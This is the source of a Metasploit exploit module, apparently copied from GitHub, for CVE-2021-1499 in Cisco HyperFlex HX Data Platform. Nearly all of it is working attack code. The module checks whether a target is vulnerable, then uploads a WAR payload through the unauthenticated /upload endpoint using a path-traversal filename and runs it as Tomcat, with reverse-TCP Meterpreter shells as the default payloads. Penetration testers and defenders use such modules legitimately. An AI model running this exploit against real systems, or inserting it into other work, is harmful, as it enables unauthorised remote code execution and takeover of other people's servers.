/
cisco_hyperflex_file_upload_rce.rb
166 lines (154 loc) · 5.63 KB
/
cisco_hyperflex_file_upload_rce.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco HyperFlex HX Data Platform unauthenticated file upload to RCE (CVE-2021-1499)',
'Description' => %q{
This module exploits an unauthenticated file upload vulnerability in
Cisco HyperFlex HX Data Platform's /upload endpoint to upload and
execute a payload as the Tomcat user.
},
'Author' => [
'Nikita Abramov', # Discovery
'Mikhail Klyuchnikov', # Discovery
'wvu', # Research and guidance
'jheysel-r7' # Metasploit Module
],
'References' => [
['CVE', '2021-1499'], # HyperFlex HX File Upload
['URL', 'https://attackerkb.com/assessments/82738621-1114-4aba-990a-9ea007b05834']
],
'DisclosureDate' => '2021-05-05',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_JAVA],
'Privileged' => false, # Privesc left as an exercise for the reader
'Targets' => [
[
'Java Dropper',
{
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Version' => Rex::Version.new('2.137'),
'Type' => :java_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'java/meterpreter/reverse_tcp',
'WfsDelay' => 10
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'WfsDelay' => 10
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('UPLOAD_FILE_NAME', [false, 'Choose a filename for the payload. (Default is random)', rand_text_alpha(rand(8..15))])
])
end
def check
# The homepage behind SSL indicates whether the endpoint is running Cisco HyperFlex
# Installer: <title>Hyperflex Installer</title>
# Installed Product: <title>Cisco HyperFlex Connect</title>
# Both the installer and installed product are vulnerable
res_ssl = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'rport' => 443,
'SSL' => true
)
unless res_ssl && res_ssl.body[%r{<title>(?:Hyperflex Installer|Cisco HyperFlex Connect)</title>}]
return Exploit::CheckCode::Safe
end
# The vulnerability, however, lies on the HTTP endpoint /upload.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'upload')
)
if res && res.code == 400 && res.body.include?('Apache Tomcat') && res.headers['Server'] && res.headers['Server'].include?('nginx')
return Exploit::CheckCode::Appears
elsif res && res.code == 404
return CheckCode::Safe
end
CheckCode::Unknown
end
def prepare_payload(app_base, jsp_name)
print_status('Preparing payload...')
war_payload = payload.encoded_war({ app_name: app_base, jsp_name: jsp_name }).to_s
fname = app_base + '.war'
post_data = Rex::MIME::Message.new
post_data.add_part(fname, nil, nil, 'form-data; name="fname"')
post_data.add_part('/upload', nil, nil, 'form-data; name="uploadDir"')
post_data.add_part(war_payload,
'application/octet-stream', 'binary',
"form-data; name=\"#{jsp_name}\"; filename=\"../../../lib/tomcat7/webapps/#{fname}\"")
post_data
end
def upload_payload(post_data)
print_status('Uploading payload...')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'upload'),
'method' => 'POST',
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
)
if res && res.code == 200 && res.body.to_s =~ /result.*filename:/
print_good('Payload uploaded successfully')
else
fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed')
end
register_dir_for_cleanup('/var/lib/tomcat7/webapps/crossdomain.xml/')
register_file_for_cleanup('/var/lib/tomcat7/webapps/crossdomain.xml.war')
end
def execute_payload(url)
print_status("Executing payload... calling: #{url}")
res = send_request_cgi(
'uri' => url,
'method' => 'GET'
)
if res && res.code == 200
print_good('Payload executed successfully')
else
fail_with(Failure::UnexpectedReply, 'Payload execution attempt failed')
end
end
def exploit
app_base = 'crossdomain.xml'
jsp_name = datastore['UPLOAD_FILE_NAME']
data = prepare_payload(app_base, jsp_name)
upload_payload(data)
sleep(datastore['WfsDelay'])
if target.name == 'Java Dropper'
url = normalize_uri(target_uri.path, app_base.to_s)
else
url = normalize_uri(target_uri.path, app_base.to_s, "#{jsp_name}.jsp")
end
execute_payload(url)
end
end